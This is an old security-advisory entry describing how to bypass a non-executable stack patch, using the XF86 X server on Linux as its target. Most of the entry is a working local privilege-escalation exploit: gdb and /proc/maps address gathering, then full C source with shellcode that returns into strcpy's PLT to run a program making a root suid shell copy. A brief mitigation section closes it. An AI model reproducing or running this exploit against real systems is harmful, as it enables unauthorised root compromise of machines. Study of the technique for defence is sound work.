COMMAND

    XF86 Xserver

SYSTEMS AFFECTED

    Linux

PROBLEM

    Remember lpr #5 or xrm  exploit on Linux page (Security  Bugware).
    It  was  Solar  Designer's  piece  of  work  and  as  fix  he gave
    non-executable stack  patch.   Rafal Wojtczuk  posted following on
    subject  of  defeating  Solar  Designer non-executable stack patch
    (and  making  exploits).   Note  that  whole  message  will not be
    presented here (check http://www.geek-girl.com/bugtraq/ for more).

    Example target will be XF86 Xserver.  Exploit goes as follows:  we
    fill a buffer with the pattern:

    ------------------------------   <------------- stack grows this way
    | STRCPY | DEST | DEST | SRC |
    ------------------------------   memory addresses grow this way ------->

    where STRCPY is an  address of strcpy PLT  entry, DEST is a  place
    in a  data segment  where we  will place  shellcode and SRC points
    into  a  environ  variable  containing  a  shellcode    We want to
    overwrite  return  address  on  the  stack with STRCPY field; then
    strcpy will copy  shellcode to DEST.  Instruction ret from  strcpy
    will pop the first DEST, and control will be passed there.

    Let's gather some  info then. We  will need a  non-suid copy of  X
    server; if it  is mode rws--x--x  on your system,  you can get  it
    from  www.redhat.com  and  enjoy.   It  must  be  exactly the same
    version,though.

        $ gdb myX
        ... lots of stuff ...
        (gdb) p strcpy
        $1 = {<text variable, no debug info>} 0x8066a18 <strcpy> <-- first number we need
        (gdb) b main
        Breakpoint 1 at 0x80df5e8
        (gdb) r
        Starting program: myX
        warning: Unable to find dynamic linker breakpoint function.
        warning: GDB will be unable to debug shared library initializers
        warning: and track explicitly loaded dynamic code.
        (no debugging symbols found)...(no debugging symbols found)...
        (no debugging symbols found)...(no debugging symbols found)...
        Breakpoint 1, 0x80df5e8 in main ()

    In another window (1515 is the pid of X server )

        $ cat /proc/1515/maps
        00110000-00115000 rwxp 00000000 03:07 20162
        00115000-00116000 rw-p 00004000 03:07 20162
        00116000-00117000 rw-p 00000000 00:00 0
        00118000-0011e000 r-xp 00000000 03:07 20171
        0011e000-00120000 rw-p 00005000 03:07 20171
        00120000-00122000 rwxp 00000000 03:07 20169
        00122000-00123000 rw-p 00001000 03:07 20169
        00123000-001b6000 r-xp 00000000 03:07 20165   <-- libc is mapped here
        001b6000-001bc000 rw-p 00092000 03:07 20165
        001bc000-001ee000 rw-p 00000000 00:00 0
        08048000-08223000 r-xp 00000000 03:07 50749
        08223000-08230000 rw-p 001da000 03:07 50749   <-- here resides data; our second number is found
        08230000-08242000 rwxp 00000000 00:00 0       <-- these addresses would do as well
        bfffe000-c0000000 rwxp fffff000 00:00 0       <-- and these wouldn't ;)

    Last hint - X server uses file descriptor 0 for its own  purposes,
    so instead of spawning a root  shell we will execute a program  in
    /tmp/qq ( which should make a root suid copy of bash ).  Now  kill
    gdb session, compile and run the following

    /*
     Exploit no 1 for Solar Designer patch
     by nergal@icm.edu.pl
     This code is meant for educational and entertaining purposes only.
     You can distribute it freely provided credits are given.
    */
    #include <stdio.h>
    /* change the following 0 if the code doesn't work */
    #define OFFSET                          0
    #define BUFFER_SIZE                     370
    #define EGG_SIZE                        2048
    #define NOP                             0x90

    /* any address in data segment */
    #define DEST                            0x08223038
    /* strcpy linkage table entry */
    #define STRCPY                          0x08066a18

    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/tmp/qq";

    char buf[BUFFER_SIZE];
    char egg[EGG_SIZE];
    char pattern[16];

    void main(int argc, char **argv)
    {
    /* try alignment in 3..18; three worked for me */
            int i, align = 3;
            int src = (int) &src - OFFSET;  /* formerly known as get_sp() :) */

            if (argc == 2)
                    align = atoi(argv[1]);

            *(int *) pattern = STRCPY;
            *(int *) (pattern + 4) = DEST;
            *(int *) (pattern + 8) = DEST;
            *(int *) (pattern + 12) = src;
            for (i = 0; i <= 15; i++)
                    if (pattern[i] == 0) {
                            printf("zero in pattern (%i)\n", i);
                            exit(1);
                    }


            memset(buf, ' ', BUFFER_SIZE);
            buf[BUFFER_SIZE - 1] = 0;
            buf[0] = ':';
            buf[1] = '9';
            for (i = align; i < BUFFER_SIZE - 16; i += 16)
                    memcpy(buf + i, pattern, 16);

            memset(egg, NOP, EGG_SIZE);
            strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
            strncpy(egg, "EGG=", 4);
            putenv(egg);

            execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
            perror("execl");
    }

    In Designer  exploits, a  shell was  invoked using  "system" call,
    which after  completion returns  onto the  stack (and  segfaults).
    This caused exploit  attempt logging. In  this exploit we  execute
    our code using execve, so everything is clean and tidy.

SOLUTION

    First idea is to patch kernel so that instructions in data segment
    cannot be executed. Solar Designer patch does simply:

        (retaddr & 0xF0000000) == 0xB0000000

    comparison  to  detect  whether  code  is returning into stack; it
    would be a time-consuming job  to check if we're returning  into a
    data segment.  Anyway, we are barking a wrong tree here. If we are
    satisfied  with  simple  system("/tmp/evilcode"),  we  don't  need
    executable data segment at all.  Well, if

        a) we can protect data segments from being executed
        b) we force LD_BIND_NOW - like dynamic linking, which  enables
           us to mprotect GOT non-writable

    exploit will fail.